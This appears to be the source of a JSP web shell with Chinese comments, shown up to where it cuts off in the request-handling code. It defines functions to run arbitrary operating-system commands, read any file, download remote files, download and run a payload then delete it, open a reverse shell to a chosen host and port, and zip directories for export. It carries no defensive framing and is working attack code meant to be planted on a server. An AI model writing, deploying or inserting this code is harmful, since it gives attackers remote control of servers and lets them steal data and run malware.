<%@page import="java.util.zip.ZipEntry"%>
<%@page import="java.util.zip.ZipOutputStream"%>
<%@ page language="java" pageEncoding="UTF-8"%>
<%@page import="java.util.*"%>
<%@page import="java.text.SimpleDateFormat"%>
<%@ page import="java.io.*" %>
<%@ page import="java.net.*" %>
<%!
static String encoding = "UTF-8";
static{
encoding = isNotEmpty(getSystemEncoding())?getSystemEncoding():encoding;
}
/**
* 异常转换成字符串，获取详细异常信息
* @param e
* @return
*/
static String exceptionToString(Exception e) {
StringWriter sw = new StringWriter();
e.printStackTrace(new PrintWriter(sw, true));
return sw.toString();
}
/**
* 获取系统文件编码
* @return
*/
static String getSystemEncoding(){
return System.getProperty("sun.jnu.encoding");
}
/**
* 非空判断
*
* @param obj
* @return
*/
static boolean isNotEmpty(Object obj) {
if (obj == null) {
return false;
}
return !"".equals(String.valueOf(obj).trim());
}
/**
* 输入流转二进制数组输出流
* @param in
* @return
* @throws IOException
*/
static ByteArrayOutputStream inutStreamToOutputStream(InputStream in) throws IOException{
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int a = 0;
while((a = in.read(b))!=-1){
baos.write(b,0,a);
}
return baos;
}
/**
* 复制流到文件，如果文件存在默认会覆盖
* @param in
* @param path
* @throws IOException
*/
static void copyInputStreamToFile(InputStream in,String path) throws IOException{
FileOutputStream fos = new FileOutputStream(path);
fos.write(inutStreamToOutputStream(in).toByteArray());
fos.flush();
fos.close();
}
/**
* 模仿Linux下的cat Windows下的type 查看文件内容
* @param path
* @return
* @throws IOException
*/
static String cat(String path) throws IOException {
return new String(inutStreamToOutputStream(new FileInputStream(path)).toByteArray());
}
/**
* 执行操作系统命令 如果是windows某些命令执行不了，可以用 cmd /c dir 执行dir命令
* @param cmd
* @return
*/
static String exec(String cmd) {
try {
return new String(inutStreamToOutputStream(Runtime.getRuntime().exec(cmd).getInputStream()).toByteArray(),encoding);
} catch (IOException e) {
return exceptionToString(e);
}
}
/**
* 下载文件到指定目录,保存的文件名必须指定
* @param url
* @param path
* @throws MalformedURLException
* @throws IOException
*/
static void download(String url,String path) throws MalformedURLException, IOException{
copyInputStreamToFile(new URL(url).openConnection().getInputStream(), path);
}
/**
* 连接远程端口，提供本地命令执行入口
* @param host
* @param port
* @throws UnknownHostException
* @throws IOException
*/
static void shell(String host,int port) throws UnknownHostException, IOException{
Socket s = new Socket(host,port);
OutputStream out = s.getOutputStream();
InputStream in = s.getInputStream();
out.write(("User:\t"+exec("whoami")).getBytes());
int a = 0;
byte[] b = new byte[1024];
while((a=in.read(b))!=-1){
out.write(exec(new String(b,0,a,"UTF-8").trim()).getBytes("UTF-8"));
}
}
/**
* 下载远程文件并执行，命令执行完成后会删除下载的文件
* @param url
* @param fileName
* @param cmd
* @return
* @throws MalformedURLException
* @throws IOException
*/
static String auto(String url,String fileName,String cmd) throws MalformedURLException, IOException{
download(url, fileName);
String out = exec(cmd);
new File(fileName).delete();
return out;
}
static void saveFile(String file,String data) throws IOException{
copyInputStreamToFile(new ByteArrayInputStream(data.getBytes()), file);
}
/**
* 文件压缩
* @throws IOException
*/
static void zipFile(ZipOutputStream zos,File file) throws IOException{
if(file.isDirectory() && file.canRead()){
File[] files = file.listFiles();
for(File f:files){
zipFile(zos, f);
}
}else{
ZipEntry z = new ZipEntry(file.getName());
zos.putNextEntry(z);
zos.write(inutStreamToOutputStream(new FileInputStream(file)).toByteArray());
zos.closeEntry();
}
}
static void zip(ByteArrayOutputStream out,File file) throws IOException{
ZipOutputStream zos = new ZipOutputStream(out);
zipFile(zos,file);
}
%>
<%=application.getServerInfo() %>
<%
try{
String action = request.getParameter("action");
String path = isNotEmpty(request.getParameter("p"))?request.getParameter("p"):new File((isNotEmpty(application.getRealPath("/"))?application.getRealPath("/"):".")).getCanonicalPath();
out.println("